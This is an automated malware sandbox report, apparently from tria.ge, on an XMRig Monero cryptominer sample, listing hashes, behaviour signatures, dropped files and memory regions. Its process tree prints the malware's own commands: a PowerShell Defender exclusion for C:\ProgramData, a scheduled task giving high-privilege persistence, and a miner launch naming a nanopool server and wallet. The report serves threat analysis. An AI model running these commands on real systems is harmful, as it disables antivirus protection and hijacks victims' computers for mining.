Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

06/03/2024, 22:46

240306-2pzx2abc39 7

23/12/2022, 20:25

221223-y7mhwahb34 10

23/12/2022, 20:11

221223-yx8ncscc9x 10

23/12/2022, 20:03

221223-ys7v9sha97 10

Analysis

  • max time kernel
    600s
  • max time network
    552s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/12/2022, 20:25

General

  • Target

    896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe

  • Size

    2.1MB

  • MD5

    55a350a007f6943a7e09f4abfdfa6979

  • SHA1

    c94e84ddbb6f525cfa675791c7f2d9b36d28a3ef

  • SHA256

    896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80

  • SHA512

    707269690787a70980cfc2658592cef762503ce7228fdfa56f5d584552327d28e338cc877fb37b1414f451a9c05a05fe3e134bc0197563a266fd62ab539bdc16

  • SSDEEP

    49152:yMkkwgEEIRmnl1DVHYYhdxiUFZ4l7jl1nUI3gg+cnIFPsxdgyg:yDkfRX4UTDennUI3gvcIlRz

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
    "C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1888
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1456
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4596 -s 1632
      2⤵
      • Program crash
      PID:3324
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4252
    • C:\Windows\system32\mspaint.exe
      "C:\Windows\system32\mspaint.exe" "C:\ProgramData\screen.jpg" /ForceBootstrapPaint3D
      1⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:4472
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
      1⤵
      • Drops file in System32 directory
      PID:3068
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:2128
    • C:\Windows\system32\mspaint.exe
      "C:\Windows\system32\mspaint.exe" "C:\ProgramData\screen.jpg" /ForceBootstrapPaint3D
      1⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5096
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:3616
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 432 -p 4596 -ip 4596
      1⤵
        PID:728
      • C:\ProgramData\edge\HMHM.exe
        C:\ProgramData\edge\HMHM.exe
        1⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3972
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4956
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
            3⤵
            • Creates scheduled task(s)
            PID:3008
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3944 -s 1804
          2⤵
          • Program crash
          PID:4960
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 408 -p 3944 -ip 3944
        1⤵
          PID:3236
        • C:\ProgramData\edge\HMHM.exe
          C:\ProgramData\edge\HMHM.exe
          1⤵
          • Executes dropped EXE
          PID:2492

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\edge\HMHM.exe

          Filesize

          643.0MB

          MD5

          434dc352dd7d67447a7654f5e2f0b926

          SHA1

          81fb6b7124a975574ff3d04c9f526d1df2040108

          SHA256

          65135968c98b5eab524026e1d20bbe8c7f95be359f078004904daaf535d8b23a

          SHA512

          158e15191f49b153308b5a20c0ccefc1ce21e481569e2258338b5aa5baf1ec88438328666d34482301ed41f2ab6fa9bfaa249c9b8b5bd0365152ec9db0617a2d

        • C:\ProgramData\edge\HMHM.exe

          Filesize

          643.0MB

          MD5

          434dc352dd7d67447a7654f5e2f0b926

          SHA1

          81fb6b7124a975574ff3d04c9f526d1df2040108

          SHA256

          65135968c98b5eab524026e1d20bbe8c7f95be359f078004904daaf535d8b23a

          SHA512

          158e15191f49b153308b5a20c0ccefc1ce21e481569e2258338b5aa5baf1ec88438328666d34482301ed41f2ab6fa9bfaa249c9b8b5bd0365152ec9db0617a2d

        • C:\ProgramData\edge\HMHM.exe

          Filesize

          9.8MB

          MD5

          6ae02dd17c77c99b974b3910f0b38347

          SHA1

          aba54e7b2c07b2424fe1f16f6668d5a919292877

          SHA256

          d709d5274d388265c614f75419b89ca5e3f908209f26d62e48b9a0286772bee7

          SHA512

          726afa7204e33c85e81f1b7666d52c05e0f548fc57b70b1aa92d7f81d3b7d1da9e77086d23a36703e029c643743372df7bf75fe6779a21c89ec8422c30fc972d

        • C:\ProgramData\screen.jpg

          Filesize

          135KB

          MD5

          a6ffd274cae002bfa277e631623bea7d

          SHA1

          cd55f04ee3525b3f39a4db60cafea55ba1ac7421

          SHA256

          69b56ec351690b018e7431b8a45034e0398f8aea5d18b1cd5a9254af8d109594

          SHA512

          0eeebe2a3c1cff323633bc86e7e7965b533a28d7e6ddb165f58da7a39a509f7ec16e051b88ef2b248e75a6788810efa79f3ade403db7413a719e345abcae52c0

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          bd5940f08d0be56e65e5f2aaf47c538e

          SHA1

          d7e31b87866e5e383ab5499da64aba50f03e8443

          SHA256

          2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6

          SHA512

          c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

        • memory/1456-171-0x0000025BDD930000-0x0000025BDD950000-memory.dmp

          Filesize

          128KB

        • memory/1456-164-0x0000025BDD8A0000-0x0000025BDD8C0000-memory.dmp

          Filesize

          128KB

        • memory/1456-174-0x0000025BDD950000-0x0000025BDD970000-memory.dmp

          Filesize

          128KB

        • memory/1456-173-0x0000025BDD930000-0x0000025BDD950000-memory.dmp

          Filesize

          128KB

        • memory/1456-172-0x0000025BDD950000-0x0000025BDD970000-memory.dmp

          Filesize

          128KB

        • memory/1456-160-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/1456-170-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/1456-162-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/1456-163-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/1456-165-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/1456-166-0x0000025BDD8F0000-0x0000025BDD930000-memory.dmp

          Filesize

          256KB

        • memory/2492-209-0x0000000000E10000-0x0000000000E51000-memory.dmp

          Filesize

          260KB

        • memory/2492-208-0x0000000000E70000-0x00000000010F6000-memory.dmp

          Filesize

          2.5MB

        • memory/3068-167-0x000002462BB60000-0x000002462BB70000-memory.dmp

          Filesize

          64KB

        • memory/3068-168-0x000002462BBA0000-0x000002462BBB0000-memory.dmp

          Filesize

          64KB

        • memory/3944-191-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/3944-197-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/3944-205-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/3944-204-0x0000000000E70000-0x00000000010F6000-memory.dmp

          Filesize

          2.5MB

        • memory/3944-195-0x00007FFCB6160000-0x00007FFCB6187000-memory.dmp

          Filesize

          156KB

        • memory/3944-194-0x00007FFCA3B90000-0x00007FFCA3CDE000-memory.dmp

          Filesize

          1.3MB

        • memory/3944-193-0x0000000000E70000-0x00000000010F6000-memory.dmp

          Filesize

          2.5MB

        • memory/3944-192-0x00007FFCB7940000-0x00007FFCB796B000-memory.dmp

          Filesize

          172KB

        • memory/3944-190-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/3944-189-0x00007FFCB6E00000-0x00007FFCB6FA1000-memory.dmp

          Filesize

          1.6MB

        • memory/3944-188-0x00007FFCA9C20000-0x00007FFCA9CDD000-memory.dmp

          Filesize

          756KB

        • memory/3944-187-0x0000000000DA0000-0x0000000000DE1000-memory.dmp

          Filesize

          260KB

        • memory/3944-186-0x0000000000E70000-0x00000000010F6000-memory.dmp

          Filesize

          2.5MB

        • memory/3944-185-0x00007FFCB3A70000-0x00007FFCB3A82000-memory.dmp

          Filesize

          72KB

        • memory/3944-184-0x00007FFCB6480000-0x00007FFCB651E000-memory.dmp

          Filesize

          632KB

        • memory/3944-183-0x00007FFCA9CE0000-0x00007FFCA9D8A000-memory.dmp

          Filesize

          680KB

        • memory/3944-181-0x0000000000DA0000-0x0000000000DE1000-memory.dmp

          Filesize

          260KB

        • memory/3944-180-0x0000000000E70000-0x00000000010F6000-memory.dmp

          Filesize

          2.5MB

        • memory/3972-206-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/3972-201-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/3972-200-0x00007FFC99FC0000-0x00007FFC9AA81000-memory.dmp

          Filesize

          10.8MB

        • memory/4596-145-0x00007FFC99F60000-0x00007FFC9AA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4596-137-0x00007FFCB6E00000-0x00007FFCB6FA1000-memory.dmp

          Filesize

          1.6MB

        • memory/4596-143-0x0000000000100000-0x0000000000386000-memory.dmp

          Filesize

          2.5MB

        • memory/4596-144-0x00007FFC9B520000-0x00007FFC9B66E000-memory.dmp

          Filesize

          1.3MB

        • memory/4596-176-0x0000000000100000-0x0000000000386000-memory.dmp

          Filesize

          2.5MB

        • memory/4596-146-0x00007FFCB6160000-0x00007FFCB6187000-memory.dmp

          Filesize

          156KB

        • memory/4596-134-0x00007FFCB6480000-0x00007FFCB651E000-memory.dmp

          Filesize

          632KB

        • memory/4596-135-0x00007FFCB3A70000-0x00007FFCB3A82000-memory.dmp

          Filesize

          72KB

        • memory/4596-136-0x00007FFC9B8C0000-0x00007FFC9B97D000-memory.dmp

          Filesize

          756KB

        • memory/4596-177-0x00007FFC99F60000-0x00007FFC9AA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4596-133-0x00007FFC9B980000-0x00007FFC9BA2A000-memory.dmp

          Filesize

          680KB

        • memory/4596-151-0x0000000001600000-0x0000000001641000-memory.dmp

          Filesize

          260KB

        • memory/4596-152-0x0000000000100000-0x0000000000386000-memory.dmp

          Filesize

          2.5MB

        • memory/4596-153-0x00007FFC99F60000-0x00007FFC9AA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4596-156-0x00007FFC95270000-0x00007FFC952A5000-memory.dmp

          Filesize

          212KB

        • memory/4596-175-0x00007FFCA9C20000-0x00007FFCA9D8A000-memory.dmp

          Filesize

          1.4MB

        • memory/4596-159-0x00007FFCB4F20000-0x00007FFCB4F5B000-memory.dmp

          Filesize

          236KB

        • memory/4596-158-0x00007FFCB6BC0000-0x00007FFCB6C2B000-memory.dmp

          Filesize

          428KB

        • memory/4596-140-0x0000000001600000-0x0000000001641000-memory.dmp

          Filesize

          260KB

        • memory/4596-141-0x00007FFCB7940000-0x00007FFCB796B000-memory.dmp

          Filesize

          172KB

        • memory/4596-138-0x00007FFC99F60000-0x00007FFC9AA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4596-139-0x0000000000100000-0x0000000000386000-memory.dmp

          Filesize

          2.5MB

        • memory/4596-142-0x0000000000100000-0x0000000000386000-memory.dmp

          Filesize

          2.5MB

        • memory/4596-157-0x00007FFC952B0000-0x00007FFC953B2000-memory.dmp

          Filesize

          1.0MB

        • memory/4608-150-0x00007FFC99F60000-0x00007FFC9AA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4608-149-0x00007FFC99F60000-0x00007FFC9AA21000-memory.dmp

          Filesize

          10.8MB

        • memory/4608-148-0x0000020B73A60000-0x0000020B73A82000-memory.dmp

          Filesize

          136KB